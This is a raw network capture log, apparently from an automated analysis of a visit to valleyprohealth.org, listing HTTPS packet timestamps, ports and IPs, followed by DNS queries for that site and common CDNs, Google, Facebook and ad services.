Apr 24, 2024 14:44:14.724180937 CEST	443	49755	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.724272013 CEST	49755	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.725372076 CEST	49755	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.725390911 CEST	443	49755	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.725703955 CEST	49762	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.725755930 CEST	443	49762	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.725895882 CEST	49762	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.726248980 CEST	49762	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.726264954 CEST	443	49762	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.786926985 CEST	443	49758	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.786959887 CEST	443	49758	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.787058115 CEST	49758	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.787089109 CEST	443	49758	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.787206888 CEST	49758	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.788067102 CEST	49758	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.788081884 CEST	443	49758	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.789294958 CEST	49763	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.789335012 CEST	443	49763	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.789721012 CEST	49763	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.794197083 CEST	49763	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.794209957 CEST	443	49763	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.871593952 CEST	443	49761	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.871896982 CEST	49761	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.871938944 CEST	443	49761	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.872293949 CEST	443	49761	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.872756004 CEST	49761	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.872756004 CEST	49761	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.872812033 CEST	443	49761	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.874068022 CEST	443	49756	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.874095917 CEST	443	49756	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.874110937 CEST	443	49756	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.874180079 CEST	49756	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.874180079 CEST	49756	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.874211073 CEST	443	49756	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.874311924 CEST	49756	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.874685049 CEST	443	49756	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.874703884 CEST	443	49756	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.874774933 CEST	49756	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.874774933 CEST	49756	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.874784946 CEST	443	49756	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.874877930 CEST	49756	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.916480064 CEST	49761	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.933429956 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.933449984 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.933458090 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.933473110 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.933500051 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.933585882 CEST	49759	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.933585882 CEST	49759	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.933621883 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.933777094 CEST	49759	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.934161901 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.934181929 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.934261084 CEST	49759	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.934261084 CEST	49759	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:14.934269905 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:14.934506893 CEST	49759	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.019022942 CEST	443	49760	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.019093990 CEST	443	49760	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.019114017 CEST	443	49760	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.019150019 CEST	443	49760	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.019182920 CEST	49760	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.019182920 CEST	49760	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.019198895 CEST	443	49760	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.019226074 CEST	49760	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.019228935 CEST	443	49760	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.019362926 CEST	443	49760	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.019395113 CEST	49760	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.020174026 CEST	49760	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.022695065 CEST	49760	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.022717953 CEST	443	49760	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.024354935 CEST	49764	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.024399042 CEST	443	49764	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.024691105 CEST	49764	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.026693106 CEST	49764	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.026715994 CEST	443	49764	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.080555916 CEST	49765	443	192.168.2.4	142.250.141.99
Apr 24, 2024 14:44:15.080609083 CEST	443	49765	142.250.141.99	192.168.2.4
Apr 24, 2024 14:44:15.080732107 CEST	49765	443	192.168.2.4	142.250.141.99
Apr 24, 2024 14:44:15.081162930 CEST	49765	443	192.168.2.4	142.250.141.99
Apr 24, 2024 14:44:15.081172943 CEST	443	49765	142.250.141.99	192.168.2.4
Apr 24, 2024 14:44:15.084321022 CEST	443	49756	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.084414005 CEST	443	49756	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.084446907 CEST	49756	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.084486961 CEST	49756	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.086493015 CEST	49756	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.086493015 CEST	49756	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.086524010 CEST	443	49756	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.086602926 CEST	49756	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.086792946 CEST	49766	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.086822987 CEST	443	49766	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.087248087 CEST	49766	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.088479042 CEST	49766	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.088496923 CEST	443	49766	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.143532038 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.143542051 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.143577099 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.143620968 CEST	49759	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.143656015 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.143686056 CEST	49759	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.143806934 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.143826008 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.143832922 CEST	49759	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.143841028 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.143857002 CEST	49759	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.144234896 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.144251108 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.144262075 CEST	49759	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.144272089 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.144296885 CEST	49759	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.144346952 CEST	49759	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.144346952 CEST	49759	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.156002045 CEST	443	49762	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.182195902 CEST	49762	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.182260990 CEST	443	49762	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.182771921 CEST	443	49762	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.191900015 CEST	49762	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.192027092 CEST	443	49762	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.192790031 CEST	49762	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.236155033 CEST	443	49762	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.256326914 CEST	443	49763	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.257152081 CEST	49763	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.257179976 CEST	443	49763	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.260951996 CEST	443	49763	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.261074066 CEST	49763	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.263083935 CEST	49763	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.263262987 CEST	443	49763	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.263590097 CEST	49763	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.263597965 CEST	443	49763	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.318360090 CEST	49763	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.355093956 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.355118990 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.355201006 CEST	49759	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.355246067 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.355273962 CEST	49759	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.355318069 CEST	49759	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.355957985 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.355974913 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.356154919 CEST	49759	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.356163979 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.356539011 CEST	49759	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.356910944 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.356954098 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.356990099 CEST	49759	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.356996059 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.357012987 CEST	49759	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.357012987 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.357081890 CEST	49759	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.373357058 CEST	49759	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.373410940 CEST	443	49759	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.376279116 CEST	49767	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.376355886 CEST	443	49767	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.376630068 CEST	49767	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.381113052 CEST	49767	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.381127119 CEST	443	49767	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.441884041 CEST	443	49765	142.250.141.99	192.168.2.4
Apr 24, 2024 14:44:15.443357944 CEST	49765	443	192.168.2.4	142.250.141.99
Apr 24, 2024 14:44:15.443382025 CEST	443	49765	142.250.141.99	192.168.2.4
Apr 24, 2024 14:44:15.444503069 CEST	443	49765	142.250.141.99	192.168.2.4
Apr 24, 2024 14:44:15.444752932 CEST	49765	443	192.168.2.4	142.250.141.99
Apr 24, 2024 14:44:15.446166992 CEST	49765	443	192.168.2.4	142.250.141.99
Apr 24, 2024 14:44:15.446240902 CEST	443	49765	142.250.141.99	192.168.2.4
Apr 24, 2024 14:44:15.455423117 CEST	443	49764	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.458174944 CEST	49764	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.458199024 CEST	443	49764	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.458652973 CEST	443	49764	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.481434107 CEST	49764	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.481625080 CEST	443	49764	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.481662035 CEST	49764	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.502743006 CEST	49765	443	192.168.2.4	142.250.141.99
Apr 24, 2024 14:44:15.502767086 CEST	443	49765	142.250.141.99	192.168.2.4
Apr 24, 2024 14:44:15.515942097 CEST	443	49766	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.524121046 CEST	443	49764	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.524157047 CEST	49766	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.524169922 CEST	443	49766	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.525295973 CEST	443	49766	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.525538921 CEST	49766	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.526146889 CEST	49766	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.526211023 CEST	443	49766	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.526412010 CEST	49766	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.533620119 CEST	49764	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.547925949 CEST	49765	443	192.168.2.4	142.250.141.99
Apr 24, 2024 14:44:15.560883999 CEST	49768	443	192.168.2.4	23.206.6.29
Apr 24, 2024 14:44:15.560921907 CEST	443	49768	23.206.6.29	192.168.2.4
Apr 24, 2024 14:44:15.565247059 CEST	49768	443	192.168.2.4	23.206.6.29
Apr 24, 2024 14:44:15.566937923 CEST	443	49761	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.566961050 CEST	443	49761	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.566968918 CEST	443	49761	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.566992044 CEST	443	49761	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.567054987 CEST	443	49761	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.567082882 CEST	49761	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.567420959 CEST	49761	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.569320917 CEST	49768	443	192.168.2.4	23.206.6.29
Apr 24, 2024 14:44:15.569330931 CEST	443	49768	23.206.6.29	192.168.2.4
Apr 24, 2024 14:44:15.570482969 CEST	49769	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.570487022 CEST	49761	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.570509911 CEST	443	49761	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.570521116 CEST	443	49769	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.570597887 CEST	49769	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.572113037 CEST	443	49766	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.572138071 CEST	49769	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.572148085 CEST	443	49769	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.579319000 CEST	49766	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.579341888 CEST	443	49766	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.629425049 CEST	49766	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.797858000 CEST	443	49762	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.797919035 CEST	443	49762	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.797961950 CEST	443	49762	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.797990084 CEST	49762	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.798044920 CEST	443	49762	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.798080921 CEST	49762	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.798101902 CEST	49762	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.798552036 CEST	443	49762	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.798599005 CEST	443	49762	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.798614025 CEST	49762	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.798629045 CEST	443	49762	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.798649073 CEST	49762	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.798669100 CEST	49762	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.811778069 CEST	443	49767	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.826081991 CEST	49767	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.826103926 CEST	443	49767	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.827138901 CEST	443	49767	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.828634977 CEST	49767	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.828820944 CEST	443	49767	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.829540014 CEST	49767	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.876128912 CEST	443	49767	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.913937092 CEST	443	49768	23.206.6.29	192.168.2.4
Apr 24, 2024 14:44:15.914004087 CEST	49768	443	192.168.2.4	23.206.6.29
Apr 24, 2024 14:44:15.920485973 CEST	49768	443	192.168.2.4	23.206.6.29
Apr 24, 2024 14:44:15.920519114 CEST	443	49768	23.206.6.29	192.168.2.4
Apr 24, 2024 14:44:15.920778036 CEST	443	49768	23.206.6.29	192.168.2.4
Apr 24, 2024 14:44:15.944974899 CEST	443	49763	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.945002079 CEST	443	49763	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.945009947 CEST	443	49763	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.945024014 CEST	443	49763	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.945034027 CEST	443	49763	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.945036888 CEST	443	49763	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.945067883 CEST	49763	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.945100069 CEST	443	49763	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.945125103 CEST	49763	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.945141077 CEST	49763	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.946013927 CEST	443	49763	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.946031094 CEST	443	49763	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.946089983 CEST	49763	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.946108103 CEST	443	49763	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.946126938 CEST	49763	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.946141005 CEST	49763	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.952980042 CEST	443	49766	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.953021049 CEST	443	49766	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.953094959 CEST	443	49766	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.953104019 CEST	49766	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.953164101 CEST	49766	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.973454952 CEST	49768	443	192.168.2.4	23.206.6.29
Apr 24, 2024 14:44:15.979856014 CEST	49766	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.979885101 CEST	443	49766	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.980256081 CEST	49770	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.980298042 CEST	443	49770	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.980360985 CEST	49770	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.982839108 CEST	49770	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.982873917 CEST	443	49770	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.998511076 CEST	443	49769	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.998795986 CEST	49769	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:15.998820066 CEST	443	49769	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:15.999358892 CEST	443	49769	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:16.000080109 CEST	49769	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:16.000154972 CEST	443	49769	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:16.000268936 CEST	49769	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:16.008368969 CEST	443	49762	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:16.008409023 CEST	443	49762	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:16.008455038 CEST	49762	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:16.008459091 CEST	443	49762	35.222.242.251	192.168.2.4
Apr 24, 2024 14:44:16.008491993 CEST	49762	443	192.168.2.4	35.222.242.251
Apr 24, 2024 14:44:16.008512020 CEST	443	49762	35.222.242.251	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 24, 2024 14:44:11.895915985 CEST	192.168.2.4	1.1.1.1	0xad24	Standard query (0)	valleyprohealth.org	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:11.897006989 CEST	192.168.2.4	1.1.1.1	0x3d07	Standard query (0)	valleyprohealth.org	65	IN (0x0001)	false
Apr 24, 2024 14:44:12.755031109 CEST	192.168.2.4	1.1.1.1	0xe8be	Standard query (0)	valleyprohealth.org	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:12.755373955 CEST	192.168.2.4	1.1.1.1	0x7e49	Standard query (0)	valleyprohealth.org	65	IN (0x0001)	false
Apr 24, 2024 14:44:12.759354115 CEST	192.168.2.4	1.1.1.1	0x5807	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:12.759525061 CEST	192.168.2.4	1.1.1.1	0xe394	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Apr 24, 2024 14:44:12.759919882 CEST	192.168.2.4	1.1.1.1	0xb07e	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:12.760118961 CEST	192.168.2.4	1.1.1.1	0x9be9	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Apr 24, 2024 14:44:12.761389017 CEST	192.168.2.4	1.1.1.1	0x6f5b	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:12.761641979 CEST	192.168.2.4	1.1.1.1	0xb8a6	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Apr 24, 2024 14:44:12.764146090 CEST	192.168.2.4	1.1.1.1	0x406d	Standard query (0)	translate.google.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:12.764758110 CEST	192.168.2.4	1.1.1.1	0x5400	Standard query (0)	translate.google.com	65	IN (0x0001)	false
Apr 24, 2024 14:44:12.764759064 CEST	192.168.2.4	1.1.1.1	0x2043	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:12.766139030 CEST	192.168.2.4	1.1.1.1	0xfc59	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Apr 24, 2024 14:44:12.919572115 CEST	192.168.2.4	1.1.1.1	0x81d0	Standard query (0)	maps.google.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:12.919691086 CEST	192.168.2.4	1.1.1.1	0x6d0	Standard query (0)	maps.google.com	65	IN (0x0001)	false
Apr 24, 2024 14:44:13.074795008 CEST	192.168.2.4	1.1.1.1	0x1065	Standard query (0)	connect.facebook.net	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:13.075016975 CEST	192.168.2.4	1.1.1.1	0x98b9	Standard query (0)	connect.facebook.net	65	IN (0x0001)	false
Apr 24, 2024 14:44:14.902781963 CEST	192.168.2.4	1.1.1.1	0x93cf	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:14.903001070 CEST	192.168.2.4	1.1.1.1	0xd52c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 24, 2024 14:44:18.827586889 CEST	192.168.2.4	1.1.1.1	0xc375	Standard query (0)	valleyprohealth.org	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:18.827796936 CEST	192.168.2.4	1.1.1.1	0x282e	Standard query (0)	valleyprohealth.org	65	IN (0x0001)	false
Apr 24, 2024 14:44:19.467609882 CEST	192.168.2.4	1.1.1.1	0x39f8	Standard query (0)	translate.google.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:19.468132019 CEST	192.168.2.4	1.1.1.1	0x5300	Standard query (0)	translate.google.com	65	IN (0x0001)	false
Apr 24, 2024 14:44:24.264359951 CEST	192.168.2.4	1.1.1.1	0xd581	Standard query (0)	static.ctctcdn.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:24.264902115 CEST	192.168.2.4	1.1.1.1	0xc503	Standard query (0)	static.ctctcdn.com	65	IN (0x0001)	false
Apr 24, 2024 14:44:25.108186007 CEST	192.168.2.4	1.1.1.1	0x4ab4	Standard query (0)	js.adsrvr.org	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:25.108402014 CEST	192.168.2.4	1.1.1.1	0x9369	Standard query (0)	js.adsrvr.org	65	IN (0x0001)	false
Apr 24, 2024 14:44:25.609234095 CEST	192.168.2.4	1.1.1.1	0xd7bf	Standard query (0)	acsbapp.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:25.609394073 CEST	192.168.2.4	1.1.1.1	0xbb0a	Standard query (0)	acsbapp.com	65	IN (0x0001)	false
Apr 24, 2024 14:44:25.641638041 CEST	192.168.2.4	1.1.1.1	0x343e	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:25.642143965 CEST	192.168.2.4	1.1.1.1	0x6ef4	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Apr 24, 2024 14:44:26.937202930 CEST	192.168.2.4	1.1.1.1	0xffae	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
